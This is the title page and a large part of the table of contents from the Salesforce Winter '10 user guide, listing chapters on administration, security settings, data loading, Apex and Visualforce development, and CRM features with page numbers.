You are on page 1of 2428

User Guide: Winter '10

How to be Successful with Salesforce

Last updated: January 4, 2010


© Copyright 2000-2009 salesforce.com, inc. All rights reserved. Salesforce.com is a registered trademark of salesforce.com, inc., as are other
names and marks. Other marks appearing herein may be trademarks of their respective owners.
Table of Contents

Table of Contents
What's New in Salesforce.com?.........................................................................................................................................................23

Overview...........................................................................................................................................24
Introduction............................................................................................................................................................................24
What Is an Edition?................................................................................................................................................................25
Personal Edition......................................................................................................................................................................25
Contact Manager.....................................................................................................................................................................25
Group Edition.........................................................................................................................................................................26
Professional Edition................................................................................................................................................................26
Enterprise Edition...................................................................................................................................................................26
Unlimited Edition...................................................................................................................................................................26
Developer Edition...................................................................................................................................................................26
Force.com Free Edition...........................................................................................................................................................27

Getting Started..................................................................................................................................28
Signing Up..............................................................................................................................................................................28
Supported Browsers.................................................................................................................................................................30
Logging In..............................................................................................................................................................................33
Using the Application.............................................................................................................................................................34
Entering Data..........................................................................................................................................................................35
Accessing Data........................................................................................................................................................................41
Navigating...............................................................................................................................................................................42
Using the Help & Training Window......................................................................................................................................46

Personal Setup...................................................................................................................................49
Personal Setup Overview.........................................................................................................................................................49
Editing Your Personal Information.........................................................................................................................................50
Changing Your Default Division.............................................................................................................................................58
Customizing Your Display.......................................................................................................................................................59
Changing Your Password.........................................................................................................................................................60
Adding and Editing Quotas....................................................................................................................................................63
Editing Email Settings............................................................................................................................................................64
Editing Stay-in-Touch Settings...............................................................................................................................................64
Granting Access to Your Calendar..........................................................................................................................................65
Setting Record Type Preferences.............................................................................................................................................66
Scheduling Opportunity Update Reminders...........................................................................................................................66
Checking for Desktop Client Updates....................................................................................................................................68
Customizing Activity Reminders............................................................................................................................................69

Administration Setup.........................................................................................................................70

i
Table of Contents
Setting Up Your Organization.................................................................................................................................................70
Company Information.............................................................................................................................................................73
Managing Multiple Currencies...............................................................................................................................................87
About Advanced Currency Management................................................................................................................................91
Divisions Overview.................................................................................................................................................................94
Managing Mail Merge Templates.........................................................................................................................................102
Using Letterheads.................................................................................................................................................................106
Managing Email Templates...................................................................................................................................................109
Setting Up Translation Workbench.......................................................................................................................................121

User Management............................................................................................................................126
User Management Overview.................................................................................................................................................126
Managing Users.....................................................................................................................................................................126
Managing Roles.....................................................................................................................................................................136
Managing Profiles.................................................................................................................................................................142
User Permissions on Profiles..................................................................................................................................................150
Managing Groups.................................................................................................................................................................166
Managing Queues.................................................................................................................................................................170
Monitoring User Events........................................................................................................................................................178

Security and Sharing.........................................................................................................................188


Security Overview.................................................................................................................................................................188
Securing Data Access............................................................................................................................................................193
Managing the Sharing Settings.............................................................................................................................................196
Setting Field-Level Security..................................................................................................................................................217
Setting Password Policies......................................................................................................................................................218
Setting Session Security........................................................................................................................................................220
Restricting Login IP Ranges for Your Organization.............................................................................................................222
About Single Sign-On..........................................................................................................................................................223
Monitoring Setup Changes...................................................................................................................................................241
Delegating Administrative Duties.........................................................................................................................................244
Enabling the Account Owner Report...................................................................................................................................248

Data Management............................................................................................................................251
Exporting Backup Data.........................................................................................................................................................251
Monitoring Resources...........................................................................................................................................................253
Transferring Records Overview.............................................................................................................................................256
Managing Multiple Approval Requests.................................................................................................................................259
Deleting Mass Data...............................................................................................................................................................260
Setting Up Analytic Snapshots..............................................................................................................................................262
Reassigning Multiple Team Members...................................................................................................................................275
Transferring Divisions...........................................................................................................................................................278
Mass Updating Addresses.....................................................................................................................................................279
Force.com Sandbox................................................................................................................................................................280

ii
Table of Contents
Importing Overview..............................................................................................................................................................288
Importing Multiple Currencies.............................................................................................................................................297
Creating Export Files for Import Wizards............................................................................................................................298
Preparing Your Data for Import............................................................................................................................................304
Accessing the Import Wizards..............................................................................................................................................318
Undoing an Import...............................................................................................................................................................335
Data Loader Overview..........................................................................................................................................................335
Installing the Data Loader....................................................................................................................................................337
Configuring the Data Loader................................................................................................................................................338
Configuring the Data Loader to Use the Bulk API..............................................................................................................340
Inserting, Updating, or Deleting Data Using the Data Loader.............................................................................................341
Exporting Data......................................................................................................................................................................345
Data Types Supported by the Data Loader ..........................................................................................................................347
Defining Field Mappings......................................................................................................................................................348
Reviewing Output Files........................................................................................................................................................349
Using the Command Line Interface......................................................................................................................................349
Running in Batch Mode........................................................................................................................................................350
Troubleshooting Data Loader Operations.............................................................................................................................366
Uninstalling the Data Loader................................................................................................................................................366
Data Loader Third-Party Licenses........................................................................................................................................366
Force.com ConnectOracle.....................................................................................................................................................367
Force.com ConnectSAP........................................................................................................................................................368

Monitoring......................................................................................................................................369
Using the Import Queue.......................................................................................................................................................369
Tracking Outbound Message Delivery Status.......................................................................................................................370
Monitoring the Workflow Queue..........................................................................................................................................371
Monitoring the Case Escalation Rule Queue........................................................................................................................372
About API Usage Notifications............................................................................................................................................373
Monitoring the Mass Email Queue......................................................................................................................................375
Managing Debug Logs..........................................................................................................................................................376
Monitoring Scheduled Jobs...................................................................................................................................................378
Monitoring Background Jobs................................................................................................................................................379
Apex Job Queue....................................................................................................................................................................379
What are Email Logs?...........................................................................................................................................................381
Monitoring Bulk Data Load Jobs..........................................................................................................................................387
Monitoring Automated Process Actions...............................................................................................................................391

Email Administration.......................................................................................................................393
Configuring Deliverability Settings.......................................................................................................................................393
Enabling Compliance BCC Emails......................................................................................................................................395
Testing Deliverability............................................................................................................................................................396
Setting Up Email Relaying....................................................................................................................................................397
Organization-Wide Addresses..............................................................................................................................................399

iii
Table of Contents
Defining Organization-Wide Addresses...............................................................................................................................400
Enabling Email to Salesforce................................................................................................................................................401

Customize........................................................................................................................................403
App Setup Overview.............................................................................................................................................................403
Customization Overview.......................................................................................................................................................404
Renaming Tab and Field Labels............................................................................................................................................407
Customizing User Interface Settings.....................................................................................................................................411
Customizing Search Settings.................................................................................................................................................415
Customizing Tag Settings.....................................................................................................................................................416
Customizing Report and Dashboard Settings.......................................................................................................................419
Customizing Fields...............................................................................................................................................................421
Custom Help Overview........................................................................................................................................................606
Managing Multiple Business Processes ................................................................................................................................610
Managing Record Types........................................................................................................................................................611
Managing Page Layouts........................................................................................................................................................618
Customizing Home Tab Page Layouts..................................................................................................................................641
Customizing Search Layouts.................................................................................................................................................645
Managing Folders..................................................................................................................................................................647
Setting Custom Buttons and Links.......................................................................................................................................652
Setting Up Lead Management..............................................................................................................................................667
Capturing Web Leads...........................................................................................................................................................670
Setting Up Customer Support...............................................................................................................................................673
Enabling Public Solutions.....................................................................................................................................................681
Capturing Web Cases............................................................................................................................................................682
Setting Up Email-to-Case or On-Demand Email-to-Case..................................................................................................685
Managing Solution Categories..............................................................................................................................................696
Managing Assignment Rules................................................................................................................................................699
Managing Escalation Rules...................................................................................................................................................703
Setting Up Auto-Response Rules..........................................................................................................................................708
Setting Up Self-Service.........................................................................................................................................................712
Customizing Contract Settings.............................................................................................................................................733
Enabling Opportunity Update Reminders............................................................................................................................734
Customizing Big Deal Alerts ...............................................................................................................................................735
Setting Up Product Schedules...............................................................................................................................................737
Automatically Activating Product Prices...............................................................................................................................738
Prompting for Products on Opportunities.............................................................................................................................738
Enabling Similar Opportunities............................................................................................................................................740
Setting Up Customizable Forecasting...................................................................................................................................741
Managing Public and Resource Calendars ...........................................................................................................................750
Customizing Activity Settings...............................................................................................................................................752

Create..............................................................................................................................................754
App Builder Tools Overview.................................................................................................................................................754

iv
Table of Contents
What is an App?....................................................................................................................................................................755
Defining Custom Apps.........................................................................................................................................................756
Managing Apps.....................................................................................................................................................................757
Custom Labels.......................................................................................................................................................................760
What is a Custom Object?....................................................................................................................................................764
Defining Custom Objects.....................................................................................................................................................765
Managing Custom Objects...................................................................................................................................................770
Deleting Custom Objects......................................................................................................................................................783
Managing Deleted Custom Objects......................................................................................................................................784
What is a Custom Tab?.........................................................................................................................................................789
Defining Custom Tabs..........................................................................................................................................................790
Managing Custom Tabs........................................................................................................................................................794
Managing Workflow and Approvals......................................................................................................................................794
Getting Started with Approval Processes..............................................................................................................................837
Apps Overview......................................................................................................................................................................902
Overview of Packages............................................................................................................................................................907

Develop...........................................................................................................................................963
Development Overview.........................................................................................................................................................963
Force.com Apex Code Overview...........................................................................................................................................964
Defining Apex Classes..........................................................................................................................................................965
Managing Version Settings for Apex.....................................................................................................................................966
Managing Apex Classes........................................................................................................................................................968
Viewing Apex Classes...........................................................................................................................................................969
Defining Apex Triggers ........................................................................................................................................................973
Managing Apex Triggers ......................................................................................................................................................975
Viewing Apex Trigger Details...............................................................................................................................................976
Scheduling Apex....................................................................................................................................................................978
Using the System Log Console.............................................................................................................................................979
What is a Debug Log?..........................................................................................................................................................981
Using the Apex Tools............................................................................................................................................................987
What are Email Services?......................................................................................................................................................988
Defining Email Services........................................................................................................................................................990
Defining Email Service Addresses........................................................................................................................................993
Using the InboundEmail Object...........................................................................................................................................994
What is the API?.................................................................................................................................................................1002
Downloading Salesforce.com WSDLs and Client Authentication Certificates..................................................................1003
Configuring Default Package Versions for API Calls.........................................................................................................1005
Custom Settings Overview..................................................................................................................................................1012
Defining Custom Settings...................................................................................................................................................1015
Managing Custom Settings Data........................................................................................................................................1017
Visualforce Overview..........................................................................................................................................................1019
How Do Visualforce Pages Compare to S-Controls?..........................................................................................................1021
Enabling Development Mode.............................................................................................................................................1022
Defining Visualforce Pages..................................................................................................................................................1022

v
Table of Contents
Setting Visualforce Page Security........................................................................................................................................1026
Uncaught Exceptions in Visualforce....................................................................................................................................1028
Using the Editor for Visualforce or Apex............................................................................................................................1029
What is a Static Resource?..................................................................................................................................................1032
Defining Static Resources...................................................................................................................................................1034
Managing Static Resources.................................................................................................................................................1035
What is a Custom Component?..........................................................................................................................................1036
Defining Custom Components...........................................................................................................................................1037
Managing Custom Components.........................................................................................................................................1039
Viewing and Editing Custom Components........................................................................................................................1040
Defining Custom S-Controls..............................................................................................................................................1041
Documentation Resources for Force.com Developers.........................................................................................................1073
Remote Access Application Overview................................................................................................................................1073
Defining Remote Access Applications................................................................................................................................1075
Authenticating Remote Access Application OAuth............................................................................................................1078

Deploy...........................................................................................................................................1087
Deployment Overview........................................................................................................................................................1087
Change Sets Overview........................................................................................................................................................1087
Monitoring Metadata Deployments....................................................................................................................................1088

Installed Packages..........................................................................................................................1090
Installed Packages................................................................................................................................................................1090
Uninstalling a Package.........................................................................................................................................................1099
Managing Package Installations..........................................................................................................................................1100
Managing Licenses for Installed Packages..........................................................................................................................1106
Upgrading Packages............................................................................................................................................................1111

Critical Updates Console................................................................................................................1113


Critical Updates Overview..................................................................................................................................................1113
Winter '10 Critical Updates................................................................................................................................................1114
Spring '09 Critical Updates.................................................................................................................................................1117

Accounts........................................................................................................................................1125
Accounts Overview.............................................................................................................................................................1125
Accounts Home...................................................................................................................................................................1130
Viewing Account Lists........................................................................................................................................................1132
Displaying and Editing Accounts........................................................................................................................................1133
Creating Accounts...............................................................................................................................................................1137
Account Fields.....................................................................................................................................................................1138
Viewing Parent Accounts....................................................................................................................................................1147
Sharing Accounts................................................................................................................................................................1148
Merging Duplicate Accounts .............................................................................................................................................1154

vi
Table of Contents
Adding Translated Names...................................................................................................................................................1156
Deleting Accounts...............................................................................................................................................................1157
Searching for Accounts........................................................................................................................................................1158
Changing Ownership..........................................................................................................................................................1159
Changing the Record Type Field........................................................................................................................................1161

Account Teams...............................................................................................................................1163
Account Team Overview.....................................................................................................................................................1163
Setting Up Account Teams..................................................................................................................................................1164
Setting Up Your Default Account Team..............................................................................................................................1165
Adding Account Team Members........................................................................................................................................1166
Editing Account Team Members........................................................................................................................................1167
Removing Account Team Members....................................................................................................................................1168
Account Team Fields...........................................................................................................................................................1168

Activities........................................................................................................................................1170
Activity Overview................................................................................................................................................................1170
Activity Accessibility...........................................................................................................................................................1170
Viewing Activities...............................................................................................................................................................1172
Creating Activities...............................................................................................................................................................1174
Editing Activities.................................................................................................................................................................1176
Deleting Activities...............................................................................................................................................................1176
Using the Open Activities Related List...............................................................................................................................1178
Using the Activity History Related List..............................................................................................................................1179
Setting Reminders on Activities..........................................................................................................................................1180
Searching for Activities.......................................................................................................................................................1182
Activity Fields.....................................................................................................................................................................1182
About Archived Activities...................................................................................................................................................1191
Viewing Your Calendar.......................................................................................................................................................1191
Viewing Event Details........................................................................................................................................................1199
Creating Events...................................................................................................................................................................1199
Editing Events.....................................................................................................................................................................1204
Responding to Group Events..............................................................................................................................................1208
Creating an Outlook Appointment for an Event................................................................................................................1208
Viewing Tasks......................................................................................................................................................................1210
Creating Tasks.....................................................................................................................................................................1211
Editing Tasks.......................................................................................................................................................................1213
Closing Tasks.......................................................................................................................................................................1215

Answers.........................................................................................................................................1217
Answers Overview...............................................................................................................................................................1217
Creating and Editing Questions..........................................................................................................................................1218
Displaying and Editing Questions......................................................................................................................................1219
Viewing and Editing Replies...............................................................................................................................................1220

vii
Table of Contents
Customizing Answers Settings............................................................................................................................................1221
Viewing Replies Lists..........................................................................................................................................................1222
Using the Replies Related List............................................................................................................................................1223
Using the Votes Related List...............................................................................................................................................1224
Viewing Votes Lists.............................................................................................................................................................1224

Assets.............................................................................................................................................1226
Assets Overview..................................................................................................................................................................1226
Getting Started with Assets................................................................................................................................................1226
Viewing Asset Lists.............................................................................................................................................................1227
Displaying and Editing Assets............................................................................................................................................1228
Creating Assets....................................................................................................................................................................1229
Cloning Assets.....................................................................................................................................................................1230
Asset Fields.........................................................................................................................................................................1231
Deleting Assets ...................................................................................................................................................................1232
Searching for Assets............................................................................................................................................................1233

Call Center.....................................................................................................................................1234
What is Salesforce CRM Call Center?...............................................................................................................................1234
About SoftPhones...............................................................................................................................................................1235
Using the SoftPhone...........................................................................................................................................................1237
Logging In to the SoftPhone..............................................................................................................................................1238
Making a Call Using the SoftPhone...................................................................................................................................1240
Answering a Call Using the SoftPhone...............................................................................................................................1244
Putting a Caller on Hold Using the SoftPhone..................................................................................................................1245
Making a Conference Call Using the SoftPhone................................................................................................................1246
Transferring a Call Using the SoftPhone............................................................................................................................1247
Creating Call Logs in the SoftPhone..................................................................................................................................1248
Wrapping Up a Call Using the SoftPhone..........................................................................................................................1249
Editing Personal SoftPhone Settings..................................................................................................................................1250
Setting Up Salesforce CRM Call Center............................................................................................................................1252
Deploying Adapters to Call Center Machines....................................................................................................................1253
Creating a Call Center........................................................................................................................................................1254
Managing Call Centers.......................................................................................................................................................1263
Managing Call Center Users...............................................................................................................................................1265
Customizing a Call Center Directory..................................................................................................................................1268
Customizing SoftPhone Layouts........................................................................................................................................1269

Campaigns.....................................................................................................................................1272
Campaigns Overview..........................................................................................................................................................1272
Campaigns Home................................................................................................................................................................1272
Managing Campaigns.........................................................................................................................................................1274
Viewing Campaign Lists.....................................................................................................................................................1276
Viewing Campaign Hierarchies..........................................................................................................................................1277

viii
Table of Contents
Displaying and Editing Campaigns.....................................................................................................................................1279
Customizing Campaign Setup............................................................................................................................................1281
Setting Up Campaign Hierarchies......................................................................................................................................1283
What is Campaign Influence?.............................................................................................................................................1285
Managing Campaign Members...........................................................................................................................................1288
Adding, Editing, or Cloning Individual Campaign Members.............................................................................................1302
Creating Campaigns............................................................................................................................................................1308
Cloning Campaigns.............................................................................................................................................................1309
Campaign Fields.................................................................................................................................................................1310
Sharing Campaigns.............................................................................................................................................................1316
Deleting Campaigns............................................................................................................................................................1317
Searching for Campaigns....................................................................................................................................................1318
Mass Adding Contacts or Leads to a Campaign.................................................................................................................1319
Mass Removing Contacts or Leads from a Campaign........................................................................................................1320

Cases..............................................................................................................................................1322
Cases Overview...................................................................................................................................................................1322
Cases Home........................................................................................................................................................................1322
Assigning Cases...................................................................................................................................................................1324
Viewing Case Lists..............................................................................................................................................................1328
Changing Multiple Cases....................................................................................................................................................1329
Displaying and Editing Cases.............................................................................................................................................1330
Viewing Case Hierarchies...................................................................................................................................................1335
Working with Case Emails..................................................................................................................................................1337
Creating Cases.....................................................................................................................................................................1339
Cloning Cases......................................................................................................................................................................1340
Case Fields..........................................................................................................................................................................1341
Solving Cases.......................................................................................................................................................................1344
Closing Cases......................................................................................................................................................................1345
Sharing Cases......................................................................................................................................................................1346
Deleting Cases.....................................................................................................................................................................1347
Searching for Cases.............................................................................................................................................................1347

Case Teams....................................................................................................................................1349
Case Teams Overview.........................................................................................................................................................1349
Setting Up Case Teams.......................................................................................................................................................1350
Predefining Case Teams......................................................................................................................................................1354
Adding Case Team Members..............................................................................................................................................1357
Updating Case Team Members...........................................................................................................................................1359
Case Team Fields.................................................................................................................................................................1360

Competitors...................................................................................................................................1362
Competitors Overview........................................................................................................................................................1362
Defining Competitors.........................................................................................................................................................1362

ix
Table of Contents
Viewing and Editing Competitors......................................................................................................................................1363
Competitor Fields...............................................................................................................................................................1364
Deleting Competitors..........................................................................................................................................................1364

Console..........................................................................................................................................1366
What is the Console?..........................................................................................................................................................1366
Setting Up the Console.......................................................................................................................................................1367
Displaying the Console.......................................................................................................................................................1374
Navigating within the Console............................................................................................................................................1374

Contacts.........................................................................................................................................1378
Contacts Overview..............................................................................................................................................................1378
Contacts Home...................................................................................................................................................................1378
Viewing Contact Lists.........................................................................................................................................................1379
Displaying and Editing Contacts........................................................................................................................................1381
Creating Contacts................................................................................................................................................................1384
Cloning Contacts................................................................................................................................................................1385
Self-Service for Contacts and Person Accounts..................................................................................................................1385
Enabling the Customer Portal for Contacts and Person Accounts......................................................................................1386
Contact Fields.....................................................................................................................................................................1389
Displaying Contact Hierarchy.............................................................................................................................................1393
Merging Duplicate Contacts ..............................................................................................................................................1393
Sharing Contacts.................................................................................................................................................................1395
Sending Stay-in-Touch Requests.........................................................................................................................................1396
Deleting Contacts................................................................................................................................................................1398
Searching for Contacts........................................................................................................................................................1399

Contact Roles.................................................................................................................................1400
Contact Roles Overview......................................................................................................................................................1400
Viewing and Editing Contact Roles....................................................................................................................................1400
Adding Contact Roles.........................................................................................................................................................1401
Contact Role Fields.............................................................................................................................................................1402

Contracts.......................................................................................................................................1403
Contracts Overview.............................................................................................................................................................1403
Contracts Home..................................................................................................................................................................1403
Viewing Contract Lists.......................................................................................................................................................1405
Displaying and Editing Contracts.......................................................................................................................................1406
Creating Contracts..............................................................................................................................................................1408
Cloning Contracts ..............................................................................................................................................................1409
Contract Fields ...................................................................................................................................................................1409
Approving Contracts...........................................................................................................................................................1412
Activating Contracts............................................................................................................................................................1413

x
Table of Contents
Deleting Contracts .............................................................................................................................................................1414
Searching for Contracts.......................................................................................................................................................1414

Custom Object Records..................................................................................................................1416


Custom Object Record Overview.......................................................................................................................................1416
Custom Objects Home........................................................................................................................................................1416
Viewing Custom Object Lists.............................................................................................................................................1417
Displaying and Editing Custom Object Records................................................................................................................1419
Creating Custom Object Records.......................................................................................................................................1420
Cloning Custom Object Records........................................................................................................................................1421
Using Custom Related Lists................................................................................................................................................1422
Custom Object Record Fields.............................................................................................................................................1422
Deleting Custom Object Records.......................................................................................................................................1424
Searching for Custom Object Records................................................................................................................................1424
Sharing Custom Object Records.........................................................................................................................................1425

Customer Portal.............................................................................................................................1426
Setting Up Your Customer Portal........................................................................................................................................1426
Managing Customer Portal Users.......................................................................................................................................1452

Data Categories..............................................................................................................................1471
What are Data Categories?.................................................................................................................................................1471
Managing Data Categories..................................................................................................................................................1474
Creating and Modifying Category Groups.........................................................................................................................1475
Deleting and Undeleting Category Groups.........................................................................................................................1476
Adding Data Categories......................................................................................................................................................1477
Modifying and Positioning Categories................................................................................................................................1478
Deleting Data Categories....................................................................................................................................................1481
Category Group Visibility Settings Overview.....................................................................................................................1484
Viewing Category Group Visibility Settings on Roles........................................................................................................1485
Editing Category Group Visibility Settings........................................................................................................................1487
How Category Visibility Differs from Other Salesforce.com Models.................................................................................1488
Examples of Category Group Visibility Settings.................................................................................................................1489

Dashboards....................................................................................................................................1493
Dashboards Overview.........................................................................................................................................................1493
Viewing Dashboard Lists....................................................................................................................................................1494
Displaying Dashboards........................................................................................................................................................1495
Creating and Editing Dashboard Properties.......................................................................................................................1496
Cloning Dashboards............................................................................................................................................................1497
Editing Dashboards.............................................................................................................................................................1498
Dashboard Properties..........................................................................................................................................................1499
Adding Dashboard Components.........................................................................................................................................1500

xi
Table of Contents
Refreshing Dashboard Data................................................................................................................................................1508
Scheduling a Dashboard Refresh.........................................................................................................................................1509
Printing Dashboards............................................................................................................................................................1512
Deleting Dashboards...........................................................................................................................................................1512

Documents.....................................................................................................................................1514
Document Library Overview..............................................................................................................................................1514
Documents Home...............................................................................................................................................................1514
Viewing Document Lists ....................................................................................................................................................1515
Displaying and Editing Document Properties....................................................................................................................1516
Uploading and Replacing Documents.................................................................................................................................1517
Document Properties...........................................................................................................................................................1518
Deleting Documents...........................................................................................................................................................1520
Changing Document Authors.............................................................................................................................................1521
Searching for Documents....................................................................................................................................................1521

Email.............................................................................................................................................1524
Email Overview...................................................................................................................................................................1524
Sending Email.....................................................................................................................................................................1525
Sending Mass Email............................................................................................................................................................1527
Email Fields........................................................................................................................................................................1530
Tracking HTML Email......................................................................................................................................................1531
Using My Email to Salesforce Address...............................................................................................................................1531

Force.com Sites..............................................................................................................................1534
Force.com Sites Overview...................................................................................................................................................1534
Force.com Sites Considerations...........................................................................................................................................1535
Force.com Sites Limits and Billing......................................................................................................................................1537
Caching Force.com Sites Pages...........................................................................................................................................1539
Setting Up Force.com Sites.................................................................................................................................................1541
Managing Force.com Sites..................................................................................................................................................1542
Registering a Custom Force.com Domain...........................................................................................................................1543
Creating and Editing Force.com Sites.................................................................................................................................1544
Configuring Force.com Sites...............................................................................................................................................1547
Reporting on Force.com Sites.............................................................................................................................................1548
Public Access Settings for Force.com Sites..........................................................................................................................1550
Managing Force.com Site Visualforce Pages.......................................................................................................................1552
Managing Force.com Site Standard Pages..........................................................................................................................1553
Assigning Force.com Site Error Pages.................................................................................................................................1554
Viewing 24-Hour Site Usage History.................................................................................................................................1555
Viewing Force.com Site History.........................................................................................................................................1556
Managing Force.com Site Login and Registration Settings................................................................................................1557
Associating a Portal with Force.com Sites...........................................................................................................................1560
Tracking Your Site with Google Analytics..........................................................................................................................1565

xii
Table of Contents
About Syndication Feeds.....................................................................................................................................................1571

Forecasting.....................................................................................................................................1574
Forecasts Overview..............................................................................................................................................................1574
Forecasts Home...................................................................................................................................................................1574
Viewing Forecast Lists........................................................................................................................................................1575
Displaying and Editing Forecasts........................................................................................................................................1575
Creating Forecasts...............................................................................................................................................................1578
Forecast Fields.....................................................................................................................................................................1579
Deleting Forecasts...............................................................................................................................................................1580

Customizable Forecasts...................................................................................................................1581
Customizable Forecasting Overview...................................................................................................................................1581
Working with Forecast Categories .....................................................................................................................................1582
Customizable Forecasting Home.........................................................................................................................................1583
Managing Customizable Forecasts .....................................................................................................................................1584
Viewing Customizable Forecasts.........................................................................................................................................1585
Overriding Customizable Forecasts.....................................................................................................................................1587
Customizable Forecast Fields..............................................................................................................................................1589
Submitting Customizable Forecasts....................................................................................................................................1590

Home Tab......................................................................................................................................1591
Home Tab Overview...........................................................................................................................................................1591
Changing Your Home Tab Dashboard................................................................................................................................1591
Using Your Calendar and Tasks on the Home Page............................................................................................................1592
Recycle Bin..........................................................................................................................................................................1593
Creating Records Using the Create New Drop-Down List................................................................................................1594
Using the Tags Sidebar Component....................................................................................................................................1594
About the Sidebar...............................................................................................................................................................1595
Messages and Alerts............................................................................................................................................................1596
Custom Links......................................................................................................................................................................1596
Recent Items........................................................................................................................................................................1596
Changing Your Working Division.......................................................................................................................................1597
Viewing Client Update Alerts.............................................................................................................................................1598

Ideas..............................................................................................................................................1600
Ideas Overview....................................................................................................................................................................1600
Using Ideas..........................................................................................................................................................................1602
Setting Up Ideas..................................................................................................................................................................1614

Salesforce Knowledge.....................................................................................................................1628
What is Salesforce Knowledge?...........................................................................................................................................1628
Useful Salesforce Knowledge Terminology..........................................................................................................................1631

xiii
Table of Contents
Using Salesforce Knowledge................................................................................................................................................1633
Configuring Salesforce Knowledge.....................................................................................................................................1651

Leads.............................................................................................................................................1669
Leads Overview...................................................................................................................................................................1669
Leads Home........................................................................................................................................................................1669
Managing Leads..................................................................................................................................................................1671
Assigning Leads..................................................................................................................................................................1672
Viewing Lead Lists.............................................................................................................................................................1673
Changing Multiple Leads...................................................................................................................................................1675
Displaying and Editing Leads.............................................................................................................................................1676
Creating Leads....................................................................................................................................................................1677
Cloning Leads.....................................................................................................................................................................1678
Lead Fields..........................................................................................................................................................................1679
Converting Leads................................................................................................................................................................1683
Sharing Leads......................................................................................................................................................................1687
Merging Duplicate Leads....................................................................................................................................................1688
Deleting Leads....................................................................................................................................................................1689
Searching for Leads.............................................................................................................................................................1690

List Views.......................................................................................................................................1691
Creating Custom List Views...............................................................................................................................................1691
Working with Enhanced Lists.............................................................................................................................................1694
Using Inline Editing in Lists...............................................................................................................................................1695
Printing List Views.............................................................................................................................................................1696
Navigating Long Lists.........................................................................................................................................................1697
Deleting List Views.............................................................................................................................................................1698
Special Date Values for Filter Criteria.................................................................................................................................1698
Filtering on Special Picklist Values .....................................................................................................................................1702

Mail Merge....................................................................................................................................1706
Mail Merge Overview.........................................................................................................................................................1706
Sending Single Mail Merge Documents.............................................................................................................................1706
Using the Mass Mail Merge Wizard...................................................................................................................................1708

Notes & Attachments.....................................................................................................................1711


Viewing and Editing Google Docs, Notes, and Attachments.............................................................................................1711
Creating Notes....................................................................................................................................................................1712
Adding Attachments...........................................................................................................................................................1712
Note and Attachment Fields...............................................................................................................................................1713
Deleting Notes and Attachments........................................................................................................................................1714

Opportunities................................................................................................................................1715

xiv
Table of Contents
Opportunities Overview......................................................................................................................................................1715
Opportunities Home...........................................................................................................................................................1715
Viewing Opportunity Lists.................................................................................................................................................1717
Displaying and Editing Opportunities................................................................................................................................1718
Creating Opportunities.......................................................................................................................................................1723
Cloning Opportunities........................................................................................................................................................1724
Sharing Opportunities.........................................................................................................................................................1725
Opportunity Fields..............................................................................................................................................................1725
Deleting Opportunities.......................................................................................................................................................1729
Searching for Opportunities................................................................................................................................................1730
Finding Similar Opportunities............................................................................................................................................1731

Partners.........................................................................................................................................1733
Partners Overview...............................................................................................................................................................1733
Viewing and Adding Partners.............................................................................................................................................1733
Partner Fields......................................................................................................................................................................1734
Reporting on Partners.........................................................................................................................................................1735
Deleting Partners.................................................................................................................................................................1736

Partner Portal.................................................................................................................................1737
Partner Portal Overview......................................................................................................................................................1737
Setting Up Your Partner Portal............................................................................................................................................1739
Enabling the Partner Portal.................................................................................................................................................1740
Creating Partner Portals......................................................................................................................................................1743
Enabling Salesforce CRM Content in the Partner Portal...................................................................................................1747
Partner Portal Configuration...............................................................................................................................................1749
About Partner Portal User Management.............................................................................................................................1759
Working with Partner Users................................................................................................................................................1766
About Mobile Access for Partner Users..............................................................................................................................1771
Enabling Cases in the Partner Portal...................................................................................................................................1773
Partner Portal Best Practices................................................................................................................................................1775

PRM..............................................................................................................................................1777
Partner Relationship Management Overview.....................................................................................................................1777
Configuring PRM...............................................................................................................................................................1779
Managing PRM Portals......................................................................................................................................................1792
Creating Partner Accounts..................................................................................................................................................1810
Creating Partner Users........................................................................................................................................................1811
Working with Partner Users................................................................................................................................................1812

Portals............................................................................................................................................1816
Using the Portals Tab..........................................................................................................................................................1816

xv
Table of Contents

Products.........................................................................................................................................1818
Products, Price Books, and Schedules Overview.................................................................................................................1818
Products Home....................................................................................................................................................................1819
Viewing Product Lists.........................................................................................................................................................1820
Viewing Price Book Entries................................................................................................................................................1821
Managing Price Books........................................................................................................................................................1822
Displaying and Editing Products.........................................................................................................................................1823
Displaying and Editing Price Books....................................................................................................................................1824
Creating Price Books...........................................................................................................................................................1825
Cloning Price Books............................................................................................................................................................1826
Creating Products................................................................................................................................................................1826
Cloning Products.................................................................................................................................................................1829
Setting Product Prices.........................................................................................................................................................1829
Product Fields......................................................................................................................................................................1831
Choosing a Price Book for an Opportunity.........................................................................................................................1833
Adding Products to Opportunities......................................................................................................................................1833
Establishing Schedules........................................................................................................................................................1836
Editing Schedules................................................................................................................................................................1837
Sharing Price Books............................................................................................................................................................1838
Deleting Products and Price Books.....................................................................................................................................1839
Searching for Price Books and Products..............................................................................................................................1841

Relationship Groups.......................................................................................................................1843
Relationship Groups Overview...........................................................................................................................................1843
About Relationship Group Members..................................................................................................................................1845
Relationship Group Considerations....................................................................................................................................1847
Installing and Implementing Relationship Groups.............................................................................................................1848
Testing the Relationship Groups Package...........................................................................................................................1851
Using Relationship Groups.................................................................................................................................................1852
Creating Relationship Groups.............................................................................................................................................1853
Adding Accounts to Relationship Groups...........................................................................................................................1854
Editing the Members of Relationship Groups....................................................................................................................1855
Displaying and Editing Relationship Groups......................................................................................................................1856
Searching for Relationship Groups.....................................................................................................................................1858
Reporting on Relationship Groups......................................................................................................................................1859
Deleting Relationship Groups.............................................................................................................................................1859
Removing Members from Relationship Group Members...................................................................................................1860

Reports..........................................................................................................................................1862
Reports Overview................................................................................................................................................................1862
Reports Home.....................................................................................................................................................................1863
Standard Report Folders......................................................................................................................................................1865
Customizing the Reports Tab..............................................................................................................................................1892

xvi
Table of Contents
Running Reports.................................................................................................................................................................1893
Scheduling a Report............................................................................................................................................................1895
Customizing Reports...........................................................................................................................................................1898
Limiting Report Results......................................................................................................................................................1913
Entering Filter Criteria.......................................................................................................................................................1916
Sorting Report Results........................................................................................................................................................1924
Subtotaling Report Results..................................................................................................................................................1924
Saving Reports.....................................................................................................................................................................1925
Searching for Reports..........................................................................................................................................................1926
Printing and Exporting Reports..........................................................................................................................................1927
What is a Custom Report Type?.........................................................................................................................................1931
Setting Up Custom Report Types.......................................................................................................................................1932
Managing Custom Report Types........................................................................................................................................1941
Managing Analytic Snapshots.............................................................................................................................................1943

Salesforce Content..........................................................................................................................1945
Salesforce CRM Content Overview....................................................................................................................................1945
Using Salesforce CRM Content..........................................................................................................................................1948
Setting Up Salesforce CRM Content..................................................................................................................................1977

Salesforce for Google AdWords.......................................................................................................2001


